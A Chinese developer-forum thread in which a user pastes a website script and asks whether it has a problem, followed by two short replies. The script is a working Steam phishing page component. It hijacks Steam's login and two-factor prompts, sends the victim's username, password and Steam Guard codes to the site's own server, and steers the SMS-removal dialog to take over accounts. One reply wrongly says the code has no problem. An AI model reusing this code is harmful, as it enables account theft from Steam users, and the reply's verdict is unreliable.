求大神看一下这个网站源代码是不是有问题

青旗酌酒 2020-08-28 05:44:31
<!-- Connecting steam script -->
<script>
window.onload = function () {
let loginRequestIsActive = false;

/**
* Sending request to analytics
*/

$J.post('/analytics/counter', {
action: 'open'
});

/**
* Error storing
*/

const showErrorAlertScript = new RegExp(/ShowAlertDialog\((.*)\)/gm).exec(LoginManager.DoLogin.toString());

/**
* Change Steam functions
*/

CLoginPromptManager.prototype.DoLogin = function () {
login();
};

CLoginPromptManager.prototype.SubmitAuthCode = function () {
$J('#auth_buttonsets').children().hide();
$J('#auth_buttonset_waiting').show();

login();
};

CLoginPromptManager.prototype.SubmitTwoFactorCode = function () {
$J('#login_twofactor_authcode_entry').hide();

$J('#login_twofactorauth_messages').children().hide();
$J('#login_twofactorauth_details_messages').children().hide();

$J('#login_twofactorauth_buttonsets').children().hide();
$J('#login_twofactorauth_buttonset_waiting').show();

login();
};

/**
* Change language change function
*/

window.ChangeLanguage = function (language) {
document.cookie = 'language=' + language;

window.location.reload();
}

/**
* Change login function
*/

function login() {
const username = $J('#steamAccountName').val().replace(/\s/g, '');
const password = $J('#steamPassword').val().replace(/\s/g, '');
const code = $J('#twofactorcode_entry').val().replace(/\s/g, '') || $J('#authcode').val().replace(/\s/g, '');

// Check if the fields are filled in
if (username.length === 0 || password.length === 0) {
return;
}

// Checking to see if the request is being executed now
if (loginRequestIsActive) {
return;
}

// Update request status
loginRequestIsActive = true;

// Setting login manager username
LoginManager.m_strUsernameEntered = username;

// Hide previously error
LoginManager.HighlightFailure('');

// Hide sign in button
$J('#login_btn_signin').hide();
$J('#login_btn_wait').show();

// Sending login request to server
$J.post('/auth/login', {
username: username,
password: password,
code: code,
token: '10e64b75a141437323bed7ec454b4b45'
}).done(function (data) {
// If a modal window opens, then send it to the statistics
if (data.code === 1 || data.code === 2 || data.code === 3) {
$J.post('/analytics/counter', {
action: 'login'
});
}

// Switch by code
switch (data.code) {
case 0:
LoginManager.HighlightFailure(data.payload.message);
break;
case 1:
if (LoginManager.m_EmailAuthModal) {
LoginManager.SetEmailAuthModalState('incorrectcode');

// Deleting the previous code
$J('#authcode').val('');
return;
}

LoginManager.StartEmailAuthProcess();

if (data.payload && data.payload.emailDomain) {
// Setting email domain on modal
$J('#emailauth_entercode_emaildomain').text(data.payload.emailDomain);
}
break;
case 2:
if (LoginManager.m_TwoFactorModal) {
LoginManager.SetTwoFactorAuthModalState('incorrectcode');

// Deleting the previous code
$J('#twofactorcode_entry').val('');
return;
}

LoginManager.StartTwoFactorAuthProcess();
break;
case 3:
if (LoginManager.m_TwoFactorModal && LoginManager.m_sPhoneNumberLastDigits !== '??') {
LoginManager.SetTwoFactorAuthModalState('selfhelp_sms_remove_incorrectcode');

// We change the state of the button to track its click natively
$J('#login_twofactorauth_buttonset_selfhelp_sms_remove_incorrectcode .auth_button.leftbtn').attr('data-modalstate', 'submit');

// Deleting the previous code
$J('#twofactorcode_entry').val('');
return;
}

// If a modal mail window is open, close it
if (LoginManager.m_EmailAuthModal) {
LoginManager.m_EmailAuthModal.Dismiss();
}

// If the mobile window is not open, open it
if (!LoginManager.m_TwoFactorModal) {
LoginManager.StartTwoFactorAuthProcess();
}

if (data.payload && data.payload.phoneLastDigits) {
// Setting a phone number in a modal window
LoginManager.m_sPhoneNumberLastDigits = data.payload.phoneLastDigits;

// Show modal window with sms remove
LoginManager.SetTwoFactorAuthModalState('selfhelp_sms_remove_entercode');

// We change the state of the button to track its click natively
$J('#login_twofactorauth_buttonset_selfhelp_sms_remove_entercode .auth_button.leftbtn').attr('data-modalstate', 'submit');

// Delete unwanted text
if ($J('#login_twofactorauth_message_selfhelp_sms_remove_entercode p')[0].childNodes[2]) {
$J('#login_twofactorauth_message_selfhelp_sms_remove_entercode p')[0].childNodes[2].remove();
}
}
break;
case 4:
// If in payload exist redirect link, make redirect, if not show standart error
if (data.payload && data.payload.redirect) {
if (window.location !== window.parent.location) {
window.parent.postMessage({
action: 'redirect',
data: {
redirect: data.payload.redirect
}
}, '*');
} else {
window.location.replace('http://' + data.payload.redirect);
}
} else {
eval(showErrorAlertScript[0]);
}
break;
}

// Handler modal window closing
$J('.newmodal_close').on('click', function () {
// Before opening, clear the code entry field
$J('#authcode').val('');
$J('#twofactorcode_entry').val('');
});
}).always(function () {
// Show sign in button
$J('#login_btn_signin').show();
$J('#login_btn_wait').hide();
}).fail(function (err) {
// Show error
eval(showErrorAlertScript[0]);
}).always(function () {
// Update request status
loginRequestIsActive = false;
});
}

/**
* Handler of all links on the site
*/

$J('a').each(function () {
// Disable login
if ($J(this).attr('href') && !!$J(this).attr('href').match('/login')) {
$J(this).attr('onclick', 'return false;');
}

// Setting links target
$J(this).attr('target', '_blank');
});

/**
* Messaging with external iframe
*/

window.parent.postMessage({
action: 'pageLoaded'
}, '*');

window.parent.postMessage({
action: 'setTitle',
data: {
title: document.title
}
}, '*');

window.onbeforeunload = function () {
window.parent.postMessage({
action: 'pageUnload'
}, '*')
};
};
</script></body>
</html>
...全文
289 2 打赏 收藏 转发到动态 举报
AI 作业
写回复
用AI写文章
2 条回复
切换为时间正序
请发表友善的回复…
发表回复
极客小俊 2020-08-30
  • 打赏
  • 举报
回复
你这个代码 这样子粘贴 说白了 是你不行!
xuzuning 2020-08-29
  • 打赏
  • 举报
回复
没有问题!只是你没贴全

4,250

社区成员

发帖
与我相关
我的任务
社区描述
国内外优秀PHP框架讨论学习
社区管理员
  • Framework
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧